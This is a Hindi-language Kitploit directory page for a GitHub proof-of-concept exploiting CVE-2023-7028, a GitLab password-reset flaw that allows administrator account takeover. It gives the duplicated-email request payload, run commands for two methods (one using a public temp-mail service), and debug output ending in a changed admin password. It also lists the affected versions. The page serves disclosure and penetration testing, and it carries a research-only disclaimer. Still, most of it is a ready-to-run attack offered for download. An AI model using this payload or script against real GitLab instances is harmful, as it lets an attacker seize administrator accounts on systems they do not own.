Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-7028 — CVE-2023-7028 POC और Exploit | Kitploit
उपकरण/GitHubGitHub/gh-ost00/cve-2023-7028
पासवर्ड हमलेभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubgh-ost00/cve-2023-7028

CVE-2023-7028

CVE-2023-7028 POC और Exploit

रिपॉजिटरी देखें
142 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-7028 | खाता-अधिग्रहण Gitlab

अस्वीकरण

यह कोड भेद्यता का एक प्रमाण-अवधारणा (proof of concept) है, मैं किसी को भी उन gitlab इंस्टेंस पर इसका उपयोग करने के लिए प्रोत्साहित नहीं कर रहा हूँ जिनके वे मालिक नहीं हैं।
यह उपकरण केवल अनुसंधान और शैक्षिक उद्देश्यों के लिए विकसित किया गया है और इसके किसी भी उपयोग के लिए मैं उत्तरदायी नहीं ठहराया जाऊँगा।

विवरण:

CVE-2023-7028 एक खाता-अधिग्रहण (Account-Take-Over) भेद्यता को संदर्भित करता है जो उपयोगकर्ताओं को बिना उपयोगकर्ता इंटरैक्शन के gitlab प्रशासक खाते पर नियंत्रण लेने की अनुमति देता है।

भेद्यता पासवर्ड रीसेट करते समय ईमेल के प्रबंधन में निहित है। एक हमलावर 2 ईमेल प्रदान कर सकता है और रीसेट कोड दोनों पर भेजा जाएगा।
इसलिए लक्ष्य खाते का ईमेल पता और हमलावर का ईमेल पता दोनों प्रदान करना और प्रशासक पासवर्ड रीसेट करना संभव है।
(Gitlab बताता है कि दो-कारक प्रमाणीकरण इस भेद्यता के शोषण को रोकता है, क्योंकि एक हमलावर, पासवर्ड रीसेट करने के बाद भी, लॉग इन नहीं कर पाएगा।)

पेलोड:

यहाँ एक उदाहरण पेलोड है

root@kitploit:~
user[email][][email protected]&user[email][][email protected]

POC:

विधि 1: अस्थायी ईमेल का उपयोग
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW
विधि 2: हमलावर ईमेल का उपयोग
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

सहायता

root@kitploit:~
$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Gitlab url
  -t TARGET, --target TARGET
                        Target email
  -e EVIL, --evil EVIL  Evil email
  -p PASSWORD, --password PASSWORD
                        Password

नोट:

--evil विकल्प के बिना, जो हमलावर का ईमेल पता निर्दिष्ट करता है, स्क्रिप्ट पासवर्ड रीसेट लिंक खोजने के लिए एक सार्वजनिक अस्थायी-मेल का उपयोग करता है।
=> यदि इस पीओसी का उपयोग पेनटेस्ट के दौरान किया जाता है तो सावधान रहें।

प्रभावित संस्करण

  • 16.1 to 16.1.5
  • 16.2 to 16.2.8
  • 16.3 to 16.3.6
  • 16.4 to 16.4.4
  • 16.5 to 16.5.5
  • 16.6 to 16.6.3
  • 16.7 to 16.7.1

संदर्भ:

  • https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
  • https://docs.gitlab.com/ee/install/docker.html
  • https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0030/
  • https://hackerone.com/asterion04
टूल डाउनलोड करें